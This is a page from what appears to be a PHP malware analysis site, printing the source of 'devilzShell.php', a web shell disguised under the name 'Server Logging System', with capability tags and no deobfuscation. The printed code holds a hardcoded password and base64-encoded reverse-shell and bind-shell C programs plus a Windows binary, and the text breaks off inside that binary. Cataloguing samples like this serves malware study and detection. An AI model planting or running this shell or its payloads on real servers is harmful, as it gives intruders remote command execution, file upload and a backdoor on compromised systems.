PHP Malware Analysis

Back to list

Filename: devilzShell.php

Tags

Encoding
  • base64_decode
Execution
  • system
  • eval
  • exec
  • passthru
  • shell_exec
Input
  • _GET
  • _POST
  • _FILES
Environment
  • set_time_limit
  • error_reporting
  • php_uname
  • getcwd
Files
  • file_get_contents
  • move_uploaded_file

Deobfuscated code

No debofuscation yet...

Original code

/* Decoded by unphp.net */

<?php
//
// devilzShell <[php]>
// ^^^^^^^^^^^^
// author: b374k
// greets: devilzc0der(s) and all of you who love peace and freedom
//
//
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// Jayalah Indonesiaku
//################ VARIABLES GOES HERE #######################=============================================]
$shell_name = "devilzShell";
$shell_fake_name = "Server Logging System";
$shell_title = " :: " . $shell_name . " ::";
$shell_version = "v1";
$shell_password = "devilzc0der";
$shell_fav_port = "12345";
$shell_color = "#374374";
// server software
$xSoftware = trim(getenv("SERVER_SOFTWARE"));
// uname -a
$xSystem = trim(php_uname());
// server ip
$xServerIP = $_SERVER["SERVER_ADDR"];
// your ip ;-)
$xClientIP = $_SERVER['REMOTE_ADDR'];
$xHeader = $xSoftware . "<br />" . $xSystem . "<br />Server IP: <span class=\"gaul\">[ </span>" . $xServerIP . "<span class=\"gaul\"> ]</span>   Your IP: <span class=\"gaul\">[ </span>" . $xClientIP . "<span class=\"gaul\"> ]</span>";
//################# RESOURCES GOES HERE #######################=============================================]
$icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw
4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4
E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtx
dCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/ei
oL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH
0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWU
vxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2
xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hyp
gaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjO
D1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC";
$bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAE
MZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII=";
$xBack = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l
dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk
Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47IA0KIGRhZW1vbigxLDApOw0KIHNpbi5zaW5fZmFt
aWx5ID0gQUZfSU5FVDsNCiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0pKTsNCiBz
aW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGFyZ3ZbMl0pOyANCiBiemVybyhhcmd2WzJd
LHN0cmxlbihhcmd2WzJdKSsxK3N0cmxlbihhcmd2WzFdKSk7IA0KIGZkID0gc29ja2V0KEFGX0lO
RVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyANCiBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1
Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICBw
ZXJyb3IoIlstXSBjb25uZWN0KCkiKTsNCiAgIGV4aXQoMCk7DQogfQ0KIGR1cDIoZmQsIDApOw0K
IGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFy
ICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9";
$xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5
cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N
CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy
ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBy
ZW1vdGU7DQogaWYoZm9yaygpID09IDApIHsgDQogcmVtb3RlLnNpbl9mYW1pbHkgPSBBRl9JTkVU
Ow0KIHJlbW90ZS5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KIHJlbW90ZS5zaW5f
YWRkci5zX2FkZHIgPSBodG9ubChJTkFERFJfQU5ZKTsgDQogc29ja2ZkID0gc29ja2V0KEFGX0lO
RVQsU09DS19TVFJFQU0sMCk7DQogaWYoIXNvY2tmZCkgcGVycm9yKCJzb2NrZXQgZXJyb3IiKTsN
CiBiaW5kKHNvY2tmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSZyZW1vdGUsIDB4MTApOw0KIGxpc3Rl
bihzb2NrZmQsIDUpOw0KIHdoaWxlKDEpDQogIHsNCiAgIG5ld2ZkPWFjY2VwdChzb2NrZmQsMCww
KTsNCiAgIGR1cDIobmV3ZmQsMCk7DQogICBkdXAyKG5ld2ZkLDEpOw0KICAgZHVwMihuZXdmZCwy
KTsgICANCiAgIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KICAgY2xvc2UobmV3
ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7
DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRb
aV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykN
CmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVy
biAwOw0KfQ==";
$wBind = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAA0GAk5cHlnanB5Z2pweWdqmGZsanF5Z2rzZWlqenlnanB5ZmpNeWdqEmZ0
and5Z2qYZm1qanlnalJpY2hweWdqAAAAAAAAAABQRQAATAEDAIkLlD8AAAAAAAAAAOAADwELAQYA
ADAAAAAQAAAAQAAAYHIAAABQAAAAgAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACQAAAA
EAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAACAAAAIAQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAA
AEAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAAAwAAAAUAAAACQAAAAEAAAA
AAAAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAIAAAAACAAAAKAAAAAAAAAAAAAAAAAAAQAAAwAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
z8Zx0QgAlkrNi0RW/EoNEmywUELsQO1J9NjcEt3zDF7IKx6DwuSCkxaKdH4PODL1OqqBtwSe2eRA
SXBrf2g8y5HPCYA7eDz8O5ACJNh1BLwD4Dt/CDkA8mg8aDw0XTdYP18GTANEPAk2TdM0LCQcPH/u
M4cAaDzwgAMDkASbjKA8fwDnEfKQPrA9CD1IsOt+LJAYCzgDYD1/yCGQVwA+AD66brBQW7R/vAPE
bJqmaczU3OT3PU4IARJ/HxAgwabrBRgDKDw+fxFm+gXM/yXAmgA1anMA/6sWSitBj8wDF00YkwPb
pv6/cnVudGltZSBlcnJvclENCgNUAflv9kxPU1MRDgBTSU5H/rL2AlNPTUESEVI2MDI4t7+83Qgt
IEthYmx0byBpbmlWYWw/3+zbaXoNaGVhcDcnN25vdLZvcGs9BHVn7nNwYWMjZuw2YO97bG93aThh
Bm9uNyB5Crk2c3RkWvvtZzVwdXIrdmlydHUhM77Y9tulYyMgYwxsKF802nabQl8qZXhcL1iwk732
BtziXzE599vu5r5vcGVYMXNvD2Rlc2NrbTJgKzhGJIHfQIhwZWQZVyM3dms0JG2brHRovyGM5Nth
L2xvY2sXmtsGWzRkt2EuAvat4daiIXJtAHBAZ3JhbSB7IRS2Sm02LzA5T6MZWgoQQSorFPK5RjAu
Kzg9D+H7YXJndShzXzAyZott267Bbm5ngm8FdDoR0ApnrWTmf00tYBj/8LY5ZhVWaXOqQysrIFKg
